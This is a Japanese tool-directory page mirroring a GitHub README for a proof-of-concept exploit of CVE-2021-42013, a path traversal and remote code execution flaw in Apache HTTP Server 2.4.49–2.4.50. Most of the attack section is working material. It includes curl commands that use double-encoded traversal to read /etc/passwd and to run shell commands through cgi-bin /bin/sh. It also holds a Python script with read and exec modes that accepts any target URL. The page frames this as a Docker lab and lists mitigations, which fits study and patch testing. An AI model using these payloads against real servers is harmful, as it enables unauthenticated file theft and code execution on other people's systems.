Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-42013 — CVE-2021-42013 Apache HTTP Serverのパストラバーサルおよびリモートコード実行の脆弱性に対する概念実証エクスプロイト。Dockerベースのラボ環境とPython PoCスクリプトを含む。 | Kitploit
ツール/GitHubGitHub/eunho87/cve-2021-42013
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubeunho87/cve-2021-42013

CVE-2021-42013

CVE-2021-42013 Apache HTTP Serverのパストラバーサルおよびリモートコード実行の脆弱性に対する概念実証エクスプロイト。Dockerベースのラボ環境とPython PoCスクリプトを含む。

リポジトリを見る
152ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-42013

寄稿者

  • 석은호@eunho87

CVE-2021-42013 Apache http Server パストラバーサル

脆弱性の概要

Apache HTTP Server 2.4.50 のパス正規化処理に存在するバグにより、認証なしで任意のファイルを読み取ったり、リモートコードを実行したりできます。

CVE-2021-41773 の不完全なパッチによって発生し、二重 URL エンコード (%%32%65) を介して Apache のパスブロックをバイパスします。

参考資料

  • NVD - CVE-2021-42013
  • Apache Security Advisory

脆弱性の条件

CVE-2021-42013 が動作するには、以下の条件を満たす必要があります。

  1. Apache 2.4.49~2.4.50
  2. httpd.conf 内の Directory ディレクティブ設定が Required all denied でないこと
  3. mod_cgi モジュールの有効化 (RCE の場合)

環境構成

docker-compose up -d

テスト環境が実行されているか確認するために、以下のコードを実行します

docker-compose ps

サーバーが正常に実行されると、http://localhost:8080 にアクセスできます。

脆弱性の再現

上位フォルダに移動するために ../ を使用しますが、Apache はこの文字をブロックしました。これをバイパスするために、. をエンコードした値 2e を代わりに使用できます。Apache 2.4.50 バージョンは %2e エンコーディングをデコードした後にチェックを行うため、%2e2e を使用すると ../ と同様に文字がブロックされます。そのため、二重エンコードを行い %%32%65 を使用して、そのフィルタリングをバイパスする必要があります。

curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"

CGI が可能な環境の場合、最後の部分を /bin/sh に変更して RCE が可能です。

curl -s --path-as-is -X POST \
  --data "echo Content-Type: text/plain; echo; id; uname -a" \
  "http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"


PoC コード

Python (poc.py)

#!/usr/bin/env python3
import sys
import http.client
from urllib.parse import urlparse

def exploit(target_url, mode, arg):
    parsed = urlparse(target_url)
    host = parsed.hostname
    port = parsed.port or 80
    trav = "%%32%65%%32%65/" * 4
    
    if mode == "read":
        path = f"/static/{trav}{arg}"
        conn = http.client.HTTPConnection(host, port, timeout=5)
        conn.request("GET", path)
    else:
        path = f"/cgi-bin/{trav}bin/sh"
        body = f"echo Content-Type: text/plain; echo; {arg}"
        conn = http.client.HTTPConnection(host, port, timeout=5)
        conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
    
    result = conn.getresponse().read().decode("utf-8", "replace")
    conn.close()
    return result

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"使用法: {sys.argv[0]} <url> <read|exec> <arg>")
        sys.exit(1)
    print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))

対策

  • Apache 2.4.51 以降のバージョンに更新
  • Require all denied を維持

まとめ

docker-compose down

ツールをダウンロード